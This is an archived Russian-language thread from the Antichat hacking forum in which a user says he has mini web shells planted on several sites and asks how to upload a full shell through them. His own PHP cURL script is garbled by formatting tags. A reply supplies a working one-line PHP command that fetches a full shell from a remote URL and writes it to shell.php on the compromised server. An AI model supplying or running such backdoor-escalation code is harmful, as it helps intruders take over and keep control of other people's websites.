Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Вопрос по php (https://forum.antichat.xyz/showthread.php?t=445794)

CHEBURNATOR 19.12.2016 14:42

Всех приветствую.

Необходима помощь в заливке шелла через мини-шелл.

Дано: несколько сайтов с залитым мини шеллом вида

Проверка через HackBar Mozilla показала что phpinfo() выполняется.

allow_url_fopen On

allow_url_include Off

Не могу сказать что хорошо знаю php, скорее в процессе изучения.

Решил попробовать написать скрипт заливки полноценного шелла, но видно где то косячу, скрипт не заливает шелл.

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]"@[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_RETURNTRANSFER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$postResult[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_exec[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]curl_close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"]);
echo[/
COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$postResult[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 

Прошу подсказать где допустил ошибку, возможно подправить код.

Не очень понимаю где я должен в коду разместить переменную "xxx", для отработки минишелла.

Спасибо заранее.

mailbrush 19.12.2016 15:01

Код:

Code:
file_put_contents('shell.php', file_get_contents('http://site.com/full_shell.txt'));

Где:

shell.php - название файла куда записывать шелл

http://site.com/full_shell.txt - ссылка, откуда качать шелл (исходник, не интерпретируемый).


Время: 04:51